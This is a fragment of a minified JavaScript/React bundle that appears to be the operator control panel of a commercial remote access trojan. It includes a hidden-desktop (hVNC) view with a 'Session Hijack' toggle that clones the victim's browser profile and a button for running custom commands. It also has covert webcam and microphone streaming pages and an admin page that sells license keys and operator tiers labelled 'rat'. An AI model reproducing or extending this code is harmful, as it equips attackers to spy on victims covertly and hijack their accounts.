Error?Q.message:"unknown"}`)}}},[e,R]);return s.jsxs("div",{ref:o,className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[s.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderBottom:"1px solid #1F1F23"},children:[s.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#0891B2",fontSize:"9px"},children:r?"HIDDEN DESKTOP":"LIVE DESKTOP"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#0891B2"},children:ee.frameCount})," frames"]}),ee.totalTiles>0&&s.jsxs(s.Fragment,{children:[s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#0891B2"},children:ee.dirtyTiles}),"/",ee.totalTiles," tiles"]})]}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"}),s.jsx("div",{className:"flex-1"}),s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:m?"#06B6D4":"#27272A"},title:"Mouse"}),s.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:x?"#06B6D4":"#27272A"},title:"Keyboard"}),s.jsx("div",{className:"w-1 h-1 rounded-full",style:{background:y?"#EF4444":"#27272A"},title:"View Only"})]})]}),T&&s.jsx("div",{className:"absolute bottom-12 left-1/2 -translate-x-1/2 z-40 px-4 py-2 font-mono animate-fade-in",style:{fontSize:"11px",background:"#111113",border:`1px solid ${T.startsWith("Failed")?"rgba(239,68,68,0.3)":"rgba(6, 182, 212, 0.25)"}`,color:T.startsWith("Failed")?"#EF4444":"#06B6D4"},children:T}),s.jsxs("div",{ref:l,className:"flex-1 flex items-center justify-center overflow-hidden relative",style:{background:"#09090B"},children:[Y&&s.jsxs("div",{className:"relative",style:{width:F?F.width:void 0,height:F?F.height:void 0,display:$?"block":"none"},children:[s.jsx("canvas",{ref:i,style:{width:"100%",height:"100%",display:"block"}}),s.jsx("canvas",{ref:a,onMouseMove:ne,onMouseDown:me,onMouseUp:ve,onWheel:Ee,onContextMenu:q=>q.preventDefault(),style:{position:"absolute",top:0,left:0,width:"100%",height:"100%",cursor:m&&!y?"none":"default"}})]}),(!Y||!$)&&s.jsx("div",{className:"absolute inset-0 flex flex-col items-center justify-center",children:s.jsxs("div",{className:"relative z-10 flex flex-col items-center gap-6",children:[s.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.15)",borderTopColor:"#06B6D4"}}),s.jsxs("div",{className:"flex flex-col items-center gap-2",children:[s.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:Y?r?"Initializing hidden desktop...":"Waiting for frame...":"Connecting to agent..."}),s.jsx("div",{className:"flex items-center gap-1",children:[0,1,2].map(q=>s.jsx("div",{className:"w-1 h-1 rounded-full animate-pulse-dot",style:{background:"#06B6D4",animationDelay:`${q*.3}s`}},q))})]})]})})]}),s.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderTop:"1px solid #1F1F23"},children:[s.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#06B6D4",boxShadow:"0 0 6px rgba(6, 182, 212, 0.6)"}}),s.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#06B6D4",fontSize:"10px"},children:r?"hVNC":"VNC"})]}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:Y?"#22C55E":"#EF4444",boxShadow:Y?"0 0 6px rgba(34,197,94,0.5)":"none"}}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:Y?"LIVE":"OFFLINE"})]}),s.jsx(Ds,{}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#06B6D4"},children:ee.fps})]}),s.jsx(Ds,{}),s.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"Q"}),s.jsx("input",{type:"range",min:10,max:100,step:5,value:b,onChange:q=>D(Number(q.target.value)),className:"w-16 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:b})]}),s.jsxs("div",{className:"flex items-center gap-2 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),s.jsx("input",{type:"range",min:5,max:60,step:5,value:j,onChange:q=>{const Q=Number(q.target.value);k(Q),C.sendControl(2,Q)},className:"w-14 h-[3px] appearance-none rounded-full outline-none",style:{background:"#27272A",accentColor:"#06B6D4"}}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#52525B"},children:j})]}),s.jsx("div",{className:"flex items-center gap-1.5 px-2 py-1",children:s.jsxs("select",{value:S,onChange:q=>{const Q=Number(q.target.value);N(Q),C.sendControl(3,Q)},className:"font-mono bg-transparent border border-zinc-700 rounded px-1 py-0.5 outline-none",style:{fontSize:"10px",color:"#A1A1AA"},children:[s.jsx("option",{value:0,children:"Auto"}),s.jsx("option",{value:1,children:"DXGI"}),s.jsx("option",{value:2,children:"GDI"})]})}),s.jsx(Ds,{}),s.jsx(gp,{label:"MOUSE",active:m,onClick:()=>h(!m),icon:s.jsx(QU,{})}),s.jsx(gp,{label:"KEYS",active:x,onClick:()=>g(!x),icon:s.jsx(JU,{})}),s.jsx(gp,{label:"VIEW",active:y,onClick:()=>v(!y),icon:s.jsx(eV,{})}),s.jsx(Ds,{}),s.jsx(S2,{onClick:ce,title:"Sync clipboard",children:s.jsx(tV,{})}),s.jsx(S2,{onClick:K,title:"Fullscreen",children:s.jsx(nV,{})}),r&&s.jsxs(s.Fragment,{children:[s.jsx(Ds,{}),s.jsxs("button",{onClick:()=>V(q=>!q),className:"flex items-center gap-1.5 px-2 py-1 rounded transition-colors",title:R?"Session Hijack: ON — browsers clone victim profile":"Session Hijack: OFF — browsers use empty profile",style:{color:R?"#22D3EE":"#52525B",background:R?"rgba(6, 182, 212, 0.12)":"transparent",border:R?"1px solid rgba(6, 182, 212, 0.3)":"1px solid transparent"},children:[s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Hijack"})]}),XU.map(q=>s.jsxs("button",{onClick:()=>le(q.cmd),className:"flex items-center gap-1.5 px-2 py-1 transition-colors",style:{color:"#A1A1AA"},title:`Launch ${q.label}`,onMouseEnter:Q=>{Q.currentTarget.style.color="#06B6D4",Q.currentTarget.style.background="rgba(6, 182, 212, 0.08)"},onMouseLeave:Q=>{Q.currentTarget.style.color="#A1A1AA",Q.currentTarget.style.background="transparent"},children:[q.icon,s.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:q.label})]},q.cmd)),s.jsxs("button",{onClick:()=>{const q=prompt("Command to launch on hidden desktop:");q&&le(q)},className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:"Run custom command",onMouseEnter:q=>{q.currentTarget.style.color="#A1A1AA",q.currentTarget.style.background="rgba(6, 182, 212, 0.06)"},onMouseLeave:q=>{q.currentTarget.style.color="#52525B",q.currentTarget.style.background="transparent"},children:[s.jsx("svg",{viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:1.5,className:"w-3.5 h-3.5",children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.75 7.5l3 2.25-3 2.25m4.5 0h3m-9 8.25h13.5A2.25 2.25 0 0021 18V6a2.25 2.25 0 00-2.25-2.25H5.25A2.25 2.25 0 003 6v12a2.25 2.25 0 002.25 2.25z"})}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px"},children:"Run"})]})]}),s.jsx("div",{className:"flex-1"}),s.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:z.w>0?`${z.w}×${z.h}`:"—"}),s.jsxs("button",{onClick:J,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors group",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:q=>{q.currentTarget.style.background="rgba(239, 68, 68, 0.12)",q.currentTarget.style.borderColor="rgba(239, 68, 68, 0.3)"},onMouseLeave:q=>{q.currentTarget.style.background="rgba(239, 68, 68, 0.06)",q.currentTarget.style.borderColor="rgba(239, 68, 68, 0.15)"},children:[s.jsx("svg",{className:"w-3 h-3 group-hover:rotate-90 transition-transform",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]})]})}function Ds(){return s.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}})}function gp({label:e,active:t,onClick:n,icon:r}){return s.jsxs("button",{onClick:n,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:t?"#06B6D4":"#52525B",background:t?"rgba(6, 182, 212, 0.08)":"transparent",border:`1px solid ${t?"rgba(6, 182, 212, 0.18)":"transparent"}`},title:e,children:[r,e]})}function S2({onClick:e,title:t,children:n}){return s.jsx("button",{onClick:e,className:"flex items-center gap-1 px-2 py-1 transition-colors",style:{color:"#52525B"},title:t,onMouseEnter:r=>{r.currentTarget.style.color="#A1A1AA"},onMouseLeave:r=>{r.currentTarget.style.color="#52525B"},children:n})}function QU(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.042 21.672L13.684 16.6m0 0l-2.51 2.225.569-9.47 5.227 7.917-3.286-.672zM12 2.25V4.5m5.834.166l-1.591 1.591M20.25 10.5H18M7.757 14.743l-1.59 1.59M6 10.5H3.75m4.007-4.243l-1.59-1.59"})})}function JU(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 9h16.5m-16.5 6.75h16.5"})})}function eV(){return s.jsxs("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.036 12.322a1.012 1.012 0 010-.639C3.423 7.51 7.36 4.5 12 4.5c4.638 0 8.573 3.007 9.963 7.178.07.207.07.431 0 .639C20.577 16.49 16.64 19.5 12 19.5c-4.638 0-8.573-3.007-9.963-7.178z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]})}function tV(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.666 3.888A2.25 2.25 0 0013.5 2.25h-3c-1.03 0-1.9.693-2.166 1.638m7.332 0c.055.194.084.4.084.612v0a.75.75 0 01-.75.75H9.75a.75.75 0 01-.75-.75v0c0-.212.03-.418.084-.612m7.332 0c.646.049 1.288.11 1.927.184 1.1.128 1.907 1.077 1.907 2.185V19.5a2.25 2.25 0 01-2.25 2.25H6.75A2.25 2.25 0 014.5 19.5V6.257c0-1.108.806-2.057 1.907-2.185a48.208 48.208 0 011.927-.184"})})}function nV(){return s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.75 3.75v4.5m0-4.5h4.5m-4.5 0L9 9M3.75 20.25v-4.5m0 4.5h4.5m-4.5 0L9 15M20.25 3.75h-4.5m4.5 0v4.5m0-4.5L15 9m5.25 11.25h-4.5m4.5 0v-4.5m0 4.5L15 15"})})}function rV(){const{id:e}=Vo(),t=p.useRef(null),n=p.useRef(null),r=p.useRef(null),[i,a]=p.useState(!1),o=p.useRef(!1),[l,c]=p.useState({w:0,h:0}),u=p.useCallback((g,y,v)=>{o.current||(o.current=!0,a(!0)),c({w:y,h:v});const b=t.current;if(!b)return;const w=b.getContext("2d");if(w)if((b.width!==y||b.height!==v)&&(b.width=y,b.height=v),typeof g=="string"){const j=n.current||new Image;n.current=j,j.onload=()=>{w.drawImage(j,0,0)},j.src=g}else g instanceof ImageBitmap?(w.drawImage(g,0,0),g.close()):w.drawImage(g,0,0)},[]),{isConnected:d,stats:f,connect:m,disconnect:h}=cv({agentId:e||"",mode:"webcam",onFrame:u});p.useEffect(()=>{e&&m()},[e,m]),p.useEffect(()=>()=>{r.current&&URL.revokeObjectURL(r.current)},[]);const x=p.useCallback(async()=>{if(h(),e)try{await $E(e)}catch{}window.close()},[e,h]);return s.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[s.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[s.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(34, 197, 94, 0.08)",border:"1px solid rgba(34, 197, 94, 0.18)"},children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#22C55E",boxShadow:"0 0 6px rgba(34, 197, 94, 0.6)"}}),s.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#22C55E",fontSize:"10px"},children:"WEBCAM"})]}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:d?"#22C55E":"#EF4444",boxShadow:d?"0 0 6px rgba(34,197,94,0.5)":"none"}}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:d?"LIVE":"OFFLINE"})]}),s.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:"FPS"}),s.jsx("span",{className:"font-mono tabular-nums",style:{fontSize:"10px",color:"#22C55E"},children:f.fps})]}),s.jsx("div",{className:"flex-1"}),s.jsx("span",{className:"font-mono tabular-nums mr-2",style:{fontSize:"10px",color:"#52525B"},children:l.w>0?`${l.w}×${l.h}`:"—"}),s.jsxs("button",{onClick:x,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:g=>{g.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),s.jsxs("div",{className:"flex-1 flex items-center justify-center overflow-hidden",style:{background:"#09090B"},children:[d&&i&&s.jsx("canvas",{ref:t,style:{maxWidth:"100%",maxHeight:"100%",objectFit:"contain"}}),(!d||!i)&&s.jsxs("div",{className:"flex flex-col items-center gap-6",children:[s.jsx("div",{className:"w-10 h-10 border-2 rounded-full animate-spin",style:{borderColor:"rgba(34, 197, 94, 0.15)",borderTopColor:"#22C55E"}}),s.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"13px",color:"#A1A1AA"},children:d?"Waiting for webcam feed...":"Connecting to agent..."})]})]}),s.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[s.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#16A34A",fontSize:"9px"},children:"WEBCAM FEED"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#22C55E"},children:f.frameCount})," frames"]}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}function iV({agentId:e,onDisconnect:t}){const n=p.useRef(null),r=p.useRef(null),i=p.useRef(0),[a,o]=p.useState(!1),[l,c]=p.useState(!1),u=p.useRef(!1),[d,f]=p.useState({chunkCount:0,sampleRate:0}),m=p.useCallback(()=>{if(n.current)return;const g=et();if(!g)return;const v=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/mic/${e}/ws?token=${encodeURIComponent(g)}`,b=new WebSocket(v);b.binaryType="arraybuffer",n.current=b,b.onopen=()=>{o(!0),r.current||(r.current=new AudioContext({sampleRate:16e3})),i.current=0},b.onmessage=w=>{if(!(w.data instanceof ArrayBuffer))return;const j=new DataView(w.data);if(w.data.byteLength<12)return;const k=j.getUint16(0,!0),S=j.getUint8(2),N=j.getUint8(3),z=12,O=w.data.byteLength-z;if(f(L=>({chunkCount:L.chunkCount+1,sampleRate:k})),u.current)return;const _=r.current;if(!_||_.state==="closed")return;_.state==="suspended"&&_.resume();const T=O/(S/8)/N,P=_.createBuffer(N,T,k),R=new DataView(w.data,z);for(let L=0;L{o(!1),n.current=null,t==null||t()},b.onerror=()=>{b.close()}},[e,t]),h=p.useCallback(()=>{n.current&&(n.current.close(),n.current=null),o(!1)},[]),x=p.useCallback(()=>{c(g=>(u.current=!g,!g))},[]);return p.useEffect(()=>()=>{n.current&&(n.current.close(),n.current=null),r.current&&r.current.state!=="closed"&&r.current.close()},[]),{isConnected:a,isMuted:l,stats:d,connect:m,disconnect:h,toggleMute:x}}function aV(){const{id:e}=Vo(),{isConnected:t,isMuted:n,stats:r,connect:i,disconnect:a,toggleMute:o}=iV({agentId:e||""});p.useEffect(()=>{e&&i()},[e,i]);const l=p.useCallback(async()=>{if(a(),e)try{await BE(e)}catch{}window.close()},[e,a]);return s.jsxs("div",{className:"h-screen w-screen flex flex-col select-none overflow-hidden",style:{background:"#09090B",color:"#FAFAFA"},children:[s.jsxs("div",{className:"flex items-center gap-1 px-3 py-1.5 shrink-0",style:{background:"#111113",borderBottom:"1px solid #1F1F23"},children:[s.jsxs("div",{className:"flex items-center gap-1.5 px-2.5 py-1 mr-1",style:{background:"rgba(168, 85, 247, 0.08)",border:"1px solid rgba(168, 85, 247, 0.18)"},children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full animate-pulse-dot",style:{background:"#A855F7",boxShadow:"0 0 6px rgba(168, 85, 247, 0.6)"}}),s.jsx("span",{className:"font-display font-bold tracking-[0.15em] uppercase",style:{color:"#A855F7",fontSize:"10px"},children:"MICROPHONE"})]}),s.jsxs("div",{className:"flex items-center gap-1.5 px-2 py-1",children:[s.jsx("div",{className:"w-1.5 h-1.5 rounded-full",style:{background:t?"#22C55E":"#EF4444",boxShadow:t?"0 0 6px rgba(34,197,94,0.5)":"none"}}),s.jsx("span",{className:"font-mono",style:{fontSize:"10px",color:"#52525B"},children:t?"LIVE":"OFFLINE"})]}),s.jsx("div",{className:"w-px h-4 mx-0.5",style:{background:"rgba(31, 31, 35, 0.8)"}}),s.jsxs("button",{onClick:o,className:"flex items-center gap-1.5 px-2 py-1 font-mono tracking-wide transition-colors",style:{fontSize:"10px",color:n?"#EF4444":"#A855F7",background:n?"rgba(239, 68, 68, 0.08)":"rgba(168, 85, 247, 0.08)",border:`1px solid ${n?"rgba(239, 68, 68, 0.18)":"rgba(168, 85, 247, 0.18)"}`},children:[n?s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17.25 9.75L19.5 12m0 0l2.25 2.25M19.5 12l2.25-2.25M19.5 12l-2.25 2.25m-10.5-6l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}):s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})}),n?"MUTED":"AUDIO"]}),s.jsx("div",{className:"flex-1"}),s.jsxs("button",{onClick:l,className:"flex items-center gap-1.5 px-3 py-1 font-mono font-medium tracking-wide transition-colors",style:{fontSize:"10px",color:"#EF4444",background:"rgba(239, 68, 68, 0.06)",border:"1px solid rgba(239, 68, 68, 0.15)"},onMouseEnter:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.12)"},onMouseLeave:c=>{c.currentTarget.style.background="rgba(239, 68, 68, 0.06)"},children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})}),"DISCONNECT"]})]}),s.jsx("div",{className:"flex-1 flex items-center justify-center",style:{background:"#09090B"},children:s.jsxs("div",{className:"flex flex-col items-center gap-8",children:[s.jsxs("div",{className:"relative",children:[s.jsx("div",{className:"w-24 h-24 rounded-full flex items-center justify-center",style:{background:t?"rgba(168, 85, 247, 0.08)":"rgba(63, 63, 70, 0.2)",border:`2px solid ${t?"rgba(168, 85, 247, 0.25)":"rgba(63, 63, 70, 0.3)"}`},children:s.jsx("svg",{className:"w-10 h-10",fill:"none",viewBox:"0 0 24 24",stroke:t?"#A855F7":"#52525B",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})})}),t&&!n&&s.jsx(s.Fragment,{children:s.jsx("div",{className:"absolute inset-0 rounded-full animate-ping",style:{background:"rgba(168, 85, 247, 0.1)",animationDuration:"2s"}})})]}),s.jsxs("div",{className:"flex flex-col items-center gap-2",children:[s.jsx("span",{className:"font-display font-medium tracking-wide",style:{fontSize:"14px",color:"#A1A1AA"},children:t?n?"Audio Muted":"Listening...":"Connecting..."}),t&&s.jsxs("span",{className:"font-mono",style:{fontSize:"11px",color:"#52525B"},children:[r.sampleRate>0?`${r.sampleRate} Hz`:""," ",r.chunkCount>0?`• ${r.chunkCount} chunks`:""]})]})]})}),s.jsxs("div",{className:"flex items-center gap-4 px-4 py-1 shrink-0 font-mono",style:{fontSize:"10px",background:"#111113",borderTop:"1px solid #1F1F23"},children:[s.jsx("span",{className:"font-display font-bold tracking-[0.2em] uppercase",style:{color:"#9333EA",fontSize:"9px"},children:"LIVE AUDIO"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsxs("span",{style:{color:"#52525B"},children:[s.jsx("span",{style:{color:"#A855F7"},children:r.chunkCount})," chunks"]}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:r.sampleRate>0?`${r.sampleRate} Hz`:"—"}),s.jsx("span",{style:{color:"#27272A"},children:"|"}),s.jsx("span",{style:{color:"#52525B"},children:e?e.slice(0,8):"—"})]})]})}const sV=4294967295;function oV(e){return e>=sV-86400}function yp(e){return oV(e)?"Never":new Date(e*1e3).toLocaleString()}function z2({status:e}){const t={active:"bg-emerald-500/10 text-emerald-400 border-emerald-500/20",unused:"bg-blue-500/10 text-blue-400 border-blue-500/20",expired:"bg-zinc-500/10 text-zinc-400 border-zinc-500/20",revoked:"bg-red-500/10 text-red-400 border-red-500/20"};return s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t[e]||t.expired}`,children:e})}function lV({role:e}){const t=e==="admin";return s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-mono border ${t?"bg-amber-500/10 text-amber-400 border-amber-500/20":"bg-zinc-500/10 text-zinc-400 border-zinc-500/20"}`,children:e})}function cV(){const[e,t]=p.useState("keys"),[n,r]=p.useState([]),[i,a]=p.useState([]),[o,l]=p.useState(!0),[c,u]=p.useState(""),[d,f]=p.useState(!1),[m,h]=p.useState("7d"),[x,g]=p.useState("0"),[y,v]=p.useState("rat"),[b,w]=p.useState(!1),[j,k]=p.useState(""),[S,N]=p.useState(!1),[z,O]=p.useState(null),[_,T]=p.useState(null),[P,R]=p.useState("30d"),[V,$]=p.useState(!1),[L,W]=p.useState(null),[B,U]=p.useState("rat"),[F,H]=p.useState(!1),G=p.useCallback(async()=>{try{const C=await VE();r(C)}catch(C){u(C instanceof Error?C.message:"Failed to fetch keys")}},[]),re=p.useCallback(async()=>{try{const C=await qE();a(C)}catch(C){u(C instanceof Error?C.message:"Failed to fetch operators")}},[]);p.useEffect(()=>{l(!0),Promise.all([G(),re()]).finally(()=>l(!1))},[G,re]);const oe=async C=>{C.preventDefault(),w(!0),u("");try{const E=await HE({duration:m,max_agents:parseInt(x)||0,tier:y});k(E.key),N(!1),await G()}catch(E){u(E instanceof Error?E.message:"Failed to generate key")}finally{w(!1)}},he=async C=>{u("");try{await KE(C),O(null),await G()}catch(E){u(E instanceof Error?E.message:"Failed to revoke key")}},pe=async()=>{if(_){$(!0),u("");try{await YE(_.id,P),T(null),await re()}catch(C){u(C instanceof Error?C.message:"Failed to extend license")}finally{$(!1)}}},Y=async()=>{if(L){H(!0),u("");try{await GE(L.id,B),W(null),await re()}catch(C){u(C instanceof Error?C.message:"Failed to set tier")}finally{H(!1)}}},ee=()=>{navigator.clipboard.writeText(j),N(!0),setTimeout(()=>N(!1),2e3)};return s.jsxs("div",{className:"p-6 space-y-6",children:[s.jsx("div",{className:"flex items-center justify-between",children:s.jsxs("div",{children:[s.jsx("h1",{className:"text-xl font-display font-bold text-zerin-text",children:"Administration"}),s.jsx("p",{className:"text-sm text-zerin-text-muted mt-1",children:"Manage license keys and operators"})]})}),s.jsxs("div",{className:"flex gap-1 border-b border-zerin-panel-border",children:[s.jsx("button",{onClick:()=>t("keys"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="keys"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"License Keys"}),s.jsx("button",{onClick:()=>t("operators"),className:`px-4 py-2.5 text-sm font-medium transition-colors ${e==="operators"?"text-zerin-accent border-b-2 border-zerin-accent":"text-zerin-text-muted hover:text-zerin-text-dim"}`,children:"Operators"})]}),c&&s.jsxs("div",{className:"p-3 text-sm text-red-400 bg-red-500/10 border border-red-500/20",children:[c,s.jsx("button",{onClick:()=>u(""),className:"ml-2 text-red-300 hover:text-red-200",children:"dismiss"})]}),o?s.jsx("div",{className:"text-center py-12 text-zerin-text-muted text-sm",children:"Loading..."}):e==="keys"?s.jsxs("div",{className:"space-y-4",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("button",{onClick:()=>{f(!d),k("")},className:`px-3 py-1.5 text-sm font-medium text-zerin-accent border border-zerin-accent/30\r + hover:bg-zerin-accent/10 transition-colors`,children:d?"Cancel":"Generate Key"}),s.jsx("button",{onClick:G,className:`px-3 py-1.5 text-sm text-zerin-text-dim border border-zerin-panel-border\r + hover:bg-zerin-panel-hover transition-colors`,children:"Refresh"})]}),d&&s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border p-4 space-y-4",children:[s.jsxs("form",{onSubmit:oe,className:"space-y-3",children:[s.jsxs("div",{className:"flex items-end 